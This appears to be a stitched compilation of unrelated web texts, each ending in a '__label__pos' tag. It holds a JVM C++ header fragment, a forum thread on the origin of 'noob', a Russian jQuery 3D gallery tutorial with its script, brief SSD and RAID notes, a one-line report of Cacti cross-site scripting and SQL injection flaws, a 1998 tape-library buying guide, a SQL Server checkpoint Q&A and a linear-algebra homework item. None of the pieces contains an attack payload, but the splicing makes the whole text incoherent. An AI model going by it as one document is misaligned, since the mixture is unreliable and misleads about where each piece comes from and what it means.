template <typename OopClosureType> 314 void oopDesc::oop_iterate(OopClosureType* cl, MemRegion mr) { 315 OopIteratorClosureDispatch::oop_oop_iterate(cl, this, klass(), mr); 316 } 317 318 template <typename OopClosureType> 319 size_t oopDesc::oop_iterate_size(OopClosureType* cl) { 320 Klass* k = klass(); 321 size_t size = size_given_klass(k); 322 OopIteratorClosureDispatch::oop_oop_iterate(cl, this, k); 323 return size; 324 } 325 326 template <typename OopClosureType> 327 size_t oopDesc::oop_iterate_size(OopClosureType* cl, MemRegion mr) { 328 Klass* k = klass(); 329 size_t size = size_given_klass(k); 330 OopIteratorClosureDispatch::oop_oop_iterate(cl, this, k, mr); 331 return size; 332 } 333 334 template <typename OopClosureType> 335 void oopDesc::oop_iterate_backwards(OopClosureType* cl) { 336 oop_iterate_backwards(cl, klass()); 337 } 338 339 template <typename OopClosureType> 340 void oopDesc::oop_iterate_backwards(OopClosureType* cl, Klass* k) { 341 assert(k == klass(), "wrong klass"); 342 OopIteratorClosureDispatch::oop_oop_iterate_backwards(cl, this, k); 343 } 344 345 bool oopDesc::is_instanceof_or_null(oop obj, Klass* klass) { 346 return obj == NULL || obj->klass()->is_subtype_of(klass); 347 } 348 349 intptr_t oopDesc::identity_hash() { 350 // Fast case; if the object is unlocked and the hash value is set, no locking is needed 351 // Note: The mark must be read into local variable to avoid concurrent updates. 352 markWord mrk = mark(); 353 if (mrk.is_unlocked() && !mrk.has_no_hash()) { 354 return mrk.hash(); 355 } else if (mrk.is_marked()) { 356 return mrk.hash(); 357 } else { 358 return slow_identity_hash(); 359 } 360 } 361 362 bool oopDesc::has_displaced_mark() const { 363 return mark().has_displaced_mark_helper(); 364 } 365 366 markWord oopDesc::displaced_mark() const { 367 return mark().displaced_mark_helper(); 368 } 369 370 void oopDesc::set_displaced_mark(markWord m) { 371 mark().set_displaced_mark_helper(m); 372 } 373 374 bool oopDesc::mark_must_be_preserved() const { 375 return mark_must_be_preserved(mark()); 376 } 377 378 bool oopDesc::mark_must_be_preserved(markWord m) const { 379 return m.must_be_preserved(this); 380 } 381 382 #endif // SHARE_OOPS_OOP_INLINE_HPP --- EOF ---
__label__pos
0.99869
Upload -7 #57 - keyboarder **User deleted account** has deleted their comment. [-] -4 #60 to #57 - theanimefagit **User deleted account** has deleted their comment. [-] #80 to #60 - anonymous poster (01/08/2012) [-] lol no. Newbie and noob has been around a lot longer than Runescape. -5 #62 to #60 - keyboarder **User deleted account** has deleted their comment. [-] -3 #63 to #62 - theanimefagit **User deleted account** has deleted their comment. [-] User avatar #72 to #63 - hyrule (01/08/2012) [-] Incorrect. Origin Noob originated from the word “Newbie”[13], a term originally used in the 1960s–1970s among U.S. troops in the Vietnam War as a slang term for a new man in a unit. The term is believed to have entered online usage by 1988 on Usenet.[14] knowyourmeme.com/memes/noob #74 to #72 - anonymous poster (01/08/2012) [-] Thank you for briefly redeeming my faith in humanity. -3 #73 to #72 - theanimefagit **User deleted account** has deleted their comment. [-] User avatar #75 to #73 - hyrule (01/08/2012) [-] You can find all of this at the link on the bottom... Usage The word noob is typically used to insult new members when they do less-than-smart things. People using the word “noob” can be found commonly in chat, forums, in-game chat in both PC and console gaming. Basically any place where Internet Slang is used. knowyourmeme.com/memes/noob -1 #76 to #75 - theanimefagit **User deleted account** has deleted their comment. [-] 0 #64 to #63 - keyboarder **User deleted account** has deleted their comment. [-] -3 #65 to #64 - theanimefagit **User deleted account** has deleted their comment. [-] -1 #66 to #65 - keyboarder **User deleted account** has deleted their comment. [-] 0 #67 to #66 - theanimefagit **User deleted account** has deleted their comment. [-] 0 #68 to #67 - keyboarder **User deleted account** has deleted their comment. [-]  Friends (0)
__label__pos
0.945248
Главная » Файлы » Прочие скрипты » jQuery Замечательная 3D галерея для вашего сайта на jQuery 23.06.14, 14:13:24 Вашему вниманию предоставляется замечательная 3D галерея, которая поразит вас своей оригинальностью Для начала посмотрите ДЕМО Установка: Для данного скрипта рекомендую использовать отдельную страницу 1) После /head вставляйте: Код <div id="screen"> <div id="command"> <div id="bar"></div> </div> <div id="urlInfo"></div>   </div>     <style type="text/css"> #screen {   position: absolute;   width: 100%;   height: 100%;   background: #000;   overflow: hidden;   }   #screen img, canvas { position: absolute;   left: -9999px;   cursor: pointer;   image-rendering: optimizeSpeed;   }   #screen .href {   border: #FFF dotted 1px;   }   #screen .fog { position: absolute;   background: #fff;   opacity: 0.1;   filter: alpha(opacity=10);   }   #command {   position:absolute;   left: 1em;   top: 1em;   width: 130px;   z-index: 30000;   background:#000;   border: #000 solid 1em;   }   #bar {   position:relative;   left: 1em;   top: 1em;   height: 160px;   }   #bar .button { position: absolute;   background: #222;   width: 20px;   height: 20px;   cursor: pointer;   }   #bar .loaded { background: #666;   }   #bar .viewed { background: #fff;   }   #bar .selected { background: #f00;   }   #urlInfo {   position: absolute;   visibility: hidden;   z-index: 30000;   padding-left: 12px;   cursor: pointer;   }     </style> 2) В самый низ после тега /body вставляйте: Код <script type="text/javascript">   // =============================================================     // ===== 3D gallery experiment =====     // script written by Gerard Ferrandez - April 5, 2010     // http://www.dhteumeuleu.com     // use under a CC-BY-NC license     // -------------------------------------------------------------     // update: April 17 : added hyperlinks, tweaked z-index     // =============================================================     var m3D = function () {   /* ---- private vars ---- */   var diapo = [],   imb,   scr,   bar,   selected,   urlInfo,   imagesPath = "http://Ваш сайт/images/",   camera = {x:0, y:0, z:-650, s:0, fov: 500},   nw = 0,   nh = 0;   /* ==== camera tween methods ==== */   camera.setTarget = function (c0, t1, p) {   if (Math.abs(t1 - c0) > .1) {   camera.s = 1;   camera.p = 0;   camera.d = t1 - c0;   if (p) {   camera.d *= 2;   camera.p = 9;   }   }   }   camera.tween = function (v) {   if (camera.s != 0) {   camera.p += camera.s;   camera[v] += camera.d * camera.p * .01;   if (camera.p == 10) camera.s = -1;   else if (camera.p == 0) camera.s = 0;   }   return camera.s;   }   /* ==== diapo constructor ==== */   var Diapo = function (n, img, x, y, z) {   if (img) {   this.url = img.url;   this.title = img.title;   this.color = img.color;   this.isLoaded = false;   if (document.createElement("canvas").getContext) {   /* ---- using canvas in place of images (performance trick) ---- */   this.srcImg = new Image();   this.srcImg.src = imagesPath + img.src;   this.img = document.createElement("canvas");   this.canvas = true;   scr.appendChild(this.img);   } else {   /* ---- normal image ---- */   this.img = document.createElement('img');   this.img.src = imagesPath + img.src;   scr.appendChild(this.img);   }   /* ---- on click event ---- */   this.img.onclick = function () {   if (camera.s) return;   if (this.diapo.isLoaded) {   if (this.diapo.urlActive) {   /* ---- jump hyperlink ---- */   top.location.href = this.diapo.url;   } else {   /* ---- target positions ---- */   camera.tz = this.diapo.z - camera.fov;   camera.tx = this.diapo.x;   camera.ty = this.diapo.y;   /* ---- disable previously selected img ---- */   if (selected) {   selected.but.className = "button viewed";   selected.img.className = "";   selected.img.style.cursor = "pointer";   selected.urlActive = false;   urlInfo.style.visibility = "hidden";   }   /* ---- select current img ---- */   this.diapo.but.className = "button selected";   interpolation(false);   selected = this.diapo;   }   }   }   /* ---- command bar buttons ---- */   this.but = document.createElement('div');   this.but.className = "button";   bar.appendChild(this.but);   this.but.diapo = this;   this.but.style.left = Math.round((this.but.offsetWidth * 1.2) * (n % 4)) + 'px';   this.but.style.top = Math.round((this.but.offsetHeight * 1.2) * Math.floor(n / 4)) + 'px';   this.but.onclick = this.img.onclick;   imb = this.img;   this.img.diapo = this;   this.zi = 25000;   } else {   /* ---- transparent div ---- */   this.img = document.createElement('div');   this.isLoaded = true;   this.img.className = "fog";   scr.appendChild(this.img);   this.w = 300;   this.h = 300;   this.zi = 15000;   }   /* ---- object variables ---- */   this.x = x;   this.y = y;   this.z = z;   this.css = this.img.style;   }   /* ==== main 3D animation ==== */   Diapo.prototype.anim = function () {   if (this.isLoaded) {   /* ---- 3D to 2D projection ---- */   var x = this.x - camera.x;   var y = this.y - camera.y;   var z = this.z - camera.z;   if (z < 20) z += 5000;   var p = camera.fov / z;   var w = this.w * p;   var h = this.h * p;   /* ---- HTML rendering ---- */   this.css.left = Math.round(nw + x * p - w * .5) + 'px';   this.css.top = Math.round(nh + y * p - h * .5) + 'px'; this.css.width = Math.round(w) + 'px';   this.css.height = Math.round(h) + 'px';   this.css.zIndex = this.zi - Math.round(z);   } else {   /* ---- image is loaded? ---- */   this.isLoaded = this.loading();   }   }   /* ==== onload initialization ==== */   Diapo.prototype.loading = function () {   if ((this.canvas && this.srcImg.complete) || this.img.complete) {   if (this.canvas) {   /* ---- canvas version ---- */   this.w = this.srcImg.width;   this.h = this.srcImg.height;   this.img.width = this.w;   this.img.height = this.h;   var context = this.img.getContext("2d");   context.drawImage(this.srcImg, 0, 0, this.w, this.h);   } else {   /* ---- plain image version ---- */   this.w = this.img.width;   this.h = this.img.height;   }   /* ---- button loaded ---- */   this.but.className += " loaded";   return true;   }   return false;   }   ////////////////////////////////////////////////////////////////////////////   /* ==== screen dimensions ==== */   var resize = function () {   nw = scr.offsetWidth * .5;   nh = scr.offsetHeight * .5;   }   /* ==== disable interpolation during animation ==== */   var interpolation = function (bicubic) {   var i = 0, o;   while( o = diapo[i++] ) {   if (o.but) {   o.css.msInterpolationMode = bicubic ? 'bicubic' : 'nearest-neighbor'; // makes IE8 happy   o.css.imageRendering = bicubic ? 'optimizeQuality' : 'optimizeSpeed'; // does not really work...   }   }   }   /* ==== init script ==== */   var init = function (data) {   /* ---- containers ---- */   scr = document.getElementById("screen");   bar = document.getElementById("bar");   urlInfo = document.getElementById("urlInfo");   resize();   /* ---- loading images ---- */   var i = 0, o,   n = data.length;   while( o = data[i++] ) {   /* ---- images ---- */   var x = 1000 * ((i % 4) - 1.5);   var y = Math.round(Math.random() * 4000) - 2000;   var z = i * (5000 / n);   diapo.push( new Diapo(i - 1, o, x, y, z));   /* ---- transparent frames ---- */   var k = diapo.length - 1;   for (var j = 0; j < 3; j++) {   var x = Math.round(Math.random() * 4000) - 2000;   var y = Math.round(Math.random() * 4000) - 2000;   diapo.push( new Diapo(k, null, x, y, z + 100));   }   }   /* ---- start engine ---- */   run();   }   ////////////////////////////////////////////////////////////////////////////   /* ==== main loop ==== */   var run = function () {   /* ---- x axis move ---- */   if (camera.tx) {   if (!camera.s) camera.setTarget(camera.x, camera.tx);   var m = camera.tween('x');   if (!m) camera.tx = 0;   /* ---- y axis move ---- */   } else if (camera.ty) {   if (!camera.s) camera.setTarget(camera.y, camera.ty); var m = camera.tween('y');   if (!m) camera.ty = 0;   /* ---- z axis move ---- */   } else if (camera.tz) {   if (!camera.s) camera.setTarget(camera.z, camera.tz);   var m = camera.tween('z');   if (!m) {   /* ---- animation end ---- */   camera.tz = 0;   interpolation(true);   /* ---- activate hyperlink ---- */   if (selected.url) {   selected.img.style.cursor = "pointer";   selected.urlActive = true;   selected.img.className = "href";   urlInfo.diapo = selected;   urlInfo.onclick = selected.img.onclick;   urlInfo.innerHTML = selected.title || selected.url;   urlInfo.style.visibility = "visible";   urlInfo.style.color = selected.color || "#fff";   urlInfo.style.top = Math.round(selected.img.offsetTop + selected.img.offsetHeight - urlInfo.offsetHeight - 5) + "px";   urlInfo.style.left = Math.round(selected.img.offsetLeft + selected.img.offsetWidth - urlInfo.offsetWidth - 5) + "px";   } else {   selected.img.style.cursor = "default";   }   }   }   /* ---- anim images ---- */   var i = 0, o;   while( o = diapo[i++] ) o.anim();   /* ---- loop ---- */   setTimeout(run, 32);   }   return {   ////////////////////////////////////////////////////////////////////////////   /* ==== initialize script ==== */   init : init   }     }();     </script>   <script type="text/javascript">   /* ==== start script ==== */     setTimeout(function() {   m3D.init(   [ { src: 'Имя_картинки.jpg', url: '#', title: 'jump to random script', color: '#fff' },   { src: 'Имя_картинки.jpg', url: '#', title: 'jump to random script', color: '#fff' },   { src: 'Имя_картинки.jpg', url: '#', title: 'jump to random script', color: '#fff' },   { src: 'Имя_картинки.jpg', url: '#', title: 'jump to random script', color: '#fff' },   { src: 'Имя_картинки.jpg', url: '#', title: 'jump to random script', color: '#fff' },   { src: 'Имя_картинки.jpg', url: '#', title: 'jump to random script', color: '#fff' },   { src: 'Имя_картинки.jpg', url: '#', title: 'jump to random script', color: '#fff' },   { src: 'Имя_картинки.jpg', url: '#', title: 'jump to random script', color: '#fff' },   ]   );     }, 500);     </script> В скрипте замените http://Ваш сайт/images/ на путь до папки images на вашем сайте, в которую будут залиты картинки, Имя_картинки.jpg - замените на имена картинок в папке images Материал подготовлен Apocalypse Категория: jQuery | Добавил: Apocalypse | Теги: галерея, на, JQuery, Вашего, сайта, для, 3D, замечательная Просмотров: 301 | Загрузок: 0 | Рейтинг: 0.0/0 Всего комментариев: 0 Имя *: Email:
__label__pos
0.999973
data storage A solid-state drive (SSD) is a data storage device that uses solid-state memory to store persistent data. A SSD emulates a hard disk drive interface, thus easily replacing it in most applications. An SSD using SRAM or DRAM (instead of flash memory) is often called a RAM-drive. { 9 comments } A Redundant Array of Independent Drives (or Disks), also known as Redundant Array of Inexpensive Drives (or Disks) (RAID) is an term for data storage schemes that divide and/or replicate data among multiple hard drives. RAID can be designed to provide increased data reliability or increased I/O performance, though one goal may compromise the other. There are 10 RAID level. But which one is recommended for data safety and performance considering that hard drives are commodity priced? { 80 comments } It was discovered that Cacti, a systems and services monitoring frontend, performed insufficient input sanitising, leading to cross site scripting and SQL injection being possible. { 0 comments }
__label__pos
0.999339
4 I'm working on performance analysis of reports, resulting from different test cases. I'm using MS SQL Server 2016 Dev edition Regarding one of the performance counters ('Checkpoint Pages/sec'), I understand the meaning of the counter. During a 22 second interval, the graph drops from 400 to 200 written changed pages per second, and then returns to 400. Result from the graph: • 1-13 seconds, value is around 400 • 14-16, falls down to 200, then returns to 400 • 16-38, value is around 400 • 39, falls to 200 then returns to 400 • 61, falls to 200 then returns to 400 • 84, falls to 200 then returns to 400 The values in the performance counter 'Disk Writes/s' are identical to 'Checkpoint Pages/sec'. I expected these counters to be a straight line (without the peaks and valleys). Can you explain this behavior? What do the drops in Checkpoint Pages/sec from 400 to 200 mean? 3 Checkpoints, like most things in SQL Server, are a big topic. A good place to start is this Microsoft Docs page: Database Checkpoints (SQL Server) To respond to your main question though, check out this specific quote from that page: The time interval between automatic checkpoints can be highly variable. A database with a substantial transaction workload will have more frequent checkpoints than a database used primarily for read-only operations. Under the simple recovery model, an automatic checkpoint is also queued if the log becomes 70 percent full. So "checkpoint pages / sec" will vary based on a lot of factors: • the type of checkpoints you're using (automatic or indirect) • if using automatic checkpoints, the value of the "recovery interval" server-level setting • if using indirect checkpoints, the value of the TARGET_RECOVERY_TIME database-level setting • disk latency Automatic checkpoints are throttled based on the number of outstanding writes and whether the Database Engine detects an increase in write latency above 50 milliseconds. • the transactional throughput currently happening on the database All that to say: seeing peaks and valleys in the number of pages being flushed to disk by checkpoint operations is completely normal. If the purpose of the performance testing you mentioned is to normalize (as much as possible) the number of pages flushed to disk per second, consider reading the documentation page I linked to above and adjusting those settings. | improve this answer | | Your Answer By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy Not the answer you're looking for? Browse other questions tagged or ask your own question.
__label__pos
0.683478
Basic Tips for Evaluating Tape Libraries Posted on January 01, 1998 RssImageAltText Basic Tips for Evaluating Tape Libraries If you haven`t undertaken the arduous task of evaluating large-scale tape libraries, here are some tips to get you started. By Rod Wideman Managers of information storage networks and departments are constantly making important decisions about how to handle critical company data. One such decision represents a sizable investment--the purchase of an automated tape library. This article explores evaluation criteria and suggests some features and functions to look for when selecting the system that`s right for your enterprise. The first step is to select software and drive technology. Fortunately, most backup, archive, and hierarchical storage management software already support a broad range of tape libraries and drive types. On the other hand, most tape libraries only support one or two types of drive technologies, thereby narrowing your options significantly. Once you have selected the drive technology, you`ll be able to put together a relatively short list of library candidates. But how do these libraries compare? One of a library`s more obvious features is its capacity (number of cartridges and number of drives). These two numbers play an important role in calculating a library`s perceived value, efficiency, and performance. The total number of cartridges equates to total data capacity, which is usually expressed in gigabytes or terabytes. By dividing the cost of the library by its total data capacity, you get the cost per MB. For example, a library that holds one hundred 10GB cartridges has a total capacity of 1TB, or 1,000,000MB. If the library costs $50,000, then the per MB cost is $0.05. But what does this $50,000 price tag actually represent? The cost of just the library? Or does it include drive, media, service, and support costs? The key is to use the same base cost when comparing libraries. The number of cartridges is also used to indicate storage density, or how much data can be stored in a physical space. Storage density is typically described in MB per square feet or meters. If floor space is a concern, this parameter may be important. Also important is the cartridge-to-drive ratio. An improper ratio of cartridges per drive can result in performance bottlenecks. A library`s drive capacity is often translated into a value that represents the aggregate data transfer rate. The more drives a library supports, the more data that can be transferred simultaneously, provided connectivity capabilities do not impede the transfer. For example, if the drive technology provides a data transfer rate of 3MBps, a 10-drive library would boast an aggregate data transfer rate of 30MBps, or 108GB per hour. Of course, this rate assumes the drives are running in parallel on separate data paths under optimal conditions. When evaluating capacity or performance, however, beware of data compression claims. Most library vendors often state compressed (typically 2:1) capacity and transfer rates. These claims can be misleading and are often incorrect. Not all compression algorithms are the same, and user results typically vary from the stated average. To compare capacity and performance, use native (or uncompressed) specs. To use the previous example, if the cartridges hold 10GB of compressed (2:1 ratio) data, the actual cost per MB would be closer to $0.10/MB, not $0.05/MB. The bottom line: Always use a consistent baseline for comparisons. Another factor to consider is investment protection: Will the library you buy today withstand the test of time? This does not mean you should buy a library that is multiple times larger than your current needs. But it does mean that you may want to consider a solution that is "expandable" or "scalable"--one that allows you to add cartridge capacity and drives as your requirements change. The ability to convert between different drive technologies is also important. Your current drive technology may be succeeded by a newer, higher-performing, higher-capacity technology. You might also decide that a completely different drive technology is better for your application, or that a second type of drive technology complements the first in certain situations. One solution is a library that supports various drive and media technologies. A "mixed-media" library does not become obsolete when your drive technology does. Also, it allows you to take advantage of a wider spectrum of drive technologies by providing a means to use them together or to migrate from one type to another in the same library. Another selection criteria for tape libraries is connectivity to the platform on which your application software is running. This is often not as simple as you may think. Some libraries use a proprietary command interface, or a "closed"-system architecture. Others use a standard command interface, or an "open"-system architecture. Open systems, such as libraries that support SCSI connections and command interfaces, offer the most flexibility and are easy to use. Closed systems, on the other hand, require special application software, which must keep pace of changes to the proprietary command interface to the library. An open architecture allows you to change hardware platforms, application software, and other components without waiting for special updates or changes to support it. Also, select libraries that have separate data and control paths. These spare users the headache of having to debug complex system problems, while maximizing overall system performance. Libraries use very little bus bandwidth, compared to tape drives. By separating the library control interface from the data path, library commands can get through better and do not disturb system operation for servicing requests involving other drives in the library. A separate control interface also helps avoid crippling the entire library should one or more drives have an interface problem or bottleneck. And typically a more cost-effective interface can be used for the library itself, reserving higher performance and more expensive interfaces for the data flow. Performance, Reliability Another selection criteria is performance, which is defined differently by vendors (e.g., mounts per hour, exchanges per hour, swaps per hour, moves per hour, etc.). The common denominator is how fast the library moves a tape cartridge from one position to the next. Some libraries perform a single move in under five seconds, or some 720 moves per hour. A mount, exchange, or swap involves first removing a cartridge from the desired target location, then placing another cartridge there. This is two moves, or about 360 mounts/exchanges/swaps per hour. When comparing library performance, be sure to use consistent rates. Directly related to performance is reliability. A library might be able to move tapes around in five-second clips, but for how long? The two most common ways of defining reliability are mean time between failure (MTBF) and mean cycles (swaps, exchanges, etc.) before failure (MCBF). The two are not the same, and neither one alone paints a complete picture of reliability. MTBF is intended to reflect how long, on average, a library will operate before it fails. The problem with this description is the term "operate" and how it relates to real library usage. "Duty cycle" is sometimes used in conjunction with MTBF to indicate what percentage of the time the library is actually moving cartridges, and not just powered on. There is a big difference between an MTBF of 25,000 hours at a 20% duty cycle and at an 80% duty cycle. This is the shortcoming of MTBF ratings. Vendors sometimes give MTBF numbers with no indication of the duty cycle, so you have no idea how the library compares with other libraries. Most MTBF numbers are based on average library usage, which reflects the fact that though the libraries may be on 24 hours a day, they only mount cartridges for a few hours each day. MCBF is used to express reliability in terms of what a library does--move cartridges. This rating estimates how many times a library mounts or exchanges cartridges before a failure occurs (e.g., 1,000,000 MCBF). As with MTBF, the MCBF often fails to indicate the expected duty cycle. If the duty cycle is high, a failure may occur in fewer cycles. Again, these values are an expression of a mean and do not account for all operating conditions. The key is to use similar reliability standards when comparing libraries. Other selection criteria include vendor support, warranties, and typical repair times, all of which contribute to the overall cost of ownership. All tape libraries come with warranty and service options, but terms and conditions vary widely. The final area of differentiation among tape libraries is usability. A library should be easy to install and configure. Ideally, it should configure itself. While this type of installation is available for some libraries, you should at least look for minimal manual interaction, or libraries that are installed by trained personnel. Another usability issue is the library`s user interface. A good user interface should be intuitive and easy to use and should be rich in features for complete control. Features to look for include library status and command history information, setup options and utility functions, diagnostic and service routines, and help information. Other details that enhance the usability of libraries are tracking and management features. Libraries that support cartridges with bar-codes make inventory quick and automatic. Also, look for libraries that allow you to eject and insert cartridges during normal library operation. Such "insert/eject stations" accommodate tens of cartridges. In addition, make sure you can manually locate, retrieve, and mount cartridge. The library should also allow easy physical access to the tapes. In short, begin your evaluation by choosing the application software and drive technology that meet your application requirements. Consider libraries that offer investment protection-- ones that are scalable, support a mix of technologies, are easy to use, and have an open architecture--and look for the best performance and reliability available. Click here to enlarge image Click here to enlarge image Click here to enlarge image Key Cost of Ownership Factors Major components of the total cost of a library include the initial purchase price, integration costs, and the cost of converting data to a new format, if necessary. - Initial purchase price The initial cost of a tape library often deters its acceptance. Adding the costs of the appropriate software, a full complement of media, and a host of options significantly boosts the apparent initial investment. - Integration costs Careful integration of the library subsystem and the host is necessary to ensure optimal performance. Hardware and software integration may require additional development work to accommodate specific system architectural or user needs. - Data conversion Converting existing data to a new medium for library automation can amount to one of the greatest costs of installing a library. Accurate and timely conversion of documents and files requires careful planning, which necessitates a thorough understanding of the user`s information as well as system capabilities and limitations. Key considerations during the conversion process include data security, indexing, and retrieval algorithms. The conversion process can be time consuming, expensive, and error-prone--and often impedes market acceptance. Source: Freeman Assoc. Rod Wideman is the program manager of library engineering at EMASS Inc. in Englewood, Colorado. Comment and Contribute (Maximum characters: 1200). You have characters left. InfoStor Article Categories: SAN - Storage Area Network   Disk Arrays NAS - Network Attached Storage   Storage Blogs Storage Management   Archived Issues Backup and Recovery   Data Storage Archives
__label__pos
0.549428
• Directory of Internet terms • Interface — An interface in computer jargon is a connection between two systems. It can be Hardware or Software. It may take the form of a plug, cable or socket, or all three, for example where a Printer or Scanner is connected to a computer, and then it's a hardware interface. There are also software interfaces that enable one program to link with another, passing across data and variables. The term interface, also known as user interface, also describes the software that is used to enable human beings to communicate with a computer, for example Microsoft Windows, which is a Graphical User Interface (GUI) in common use on personal computers. See Windows.  
__label__pos
0.995276
Sunday January 25, 2015 Homework Help: math Posted by zinnia on Sunday, August 5, 2007 at 1:54pm. Determine which of the sets of vectors is linearly independent. A: The set {p1, p2,p3} where p1(t) = 1, p2(t) = t^2, p3(t) = 3 + 4t B: The set {p1, p2,p3} where p1(t) = t, p2(t) = t^2, p3(t) = 3t + 4t^2 C: The set {p1, p2,p3} where p1(t) = 1, p2(t) = t^2, p3(t) = 3 + 4t + t^2 Clearly A and C. Answer this Question First Name: School Subject: Answer: Related Questions Linear Algebra - Prove that If a vector space is of dimension n and a set of ... alegbra - If v1,...,v4 are in R^4 and v3 is not a linear combination of v1, v2, ... Linear algebra - Find two vectors v and w such that the three vectors u = (1,-1... Maths-Vectors Help! - Please can you help me as I have just been introduced to ... math - Find the least squares approximation of x over the interval [0,1] by a ... Calculus - Name two sets of vectors that could be used to span a set in R^3. ... math - If A^TA is an invertible matrix, prove that the column vectors of A are ... math - Show that the set {[2,3],[4,1]} is linearly independent Math - For which real values of x do the following vectors form a linearly ... Math - Show that the set [(3,-2,4),(1,2,-1), (-6,4,-8) is linearly dependent by ... Members
__label__pos
0.647078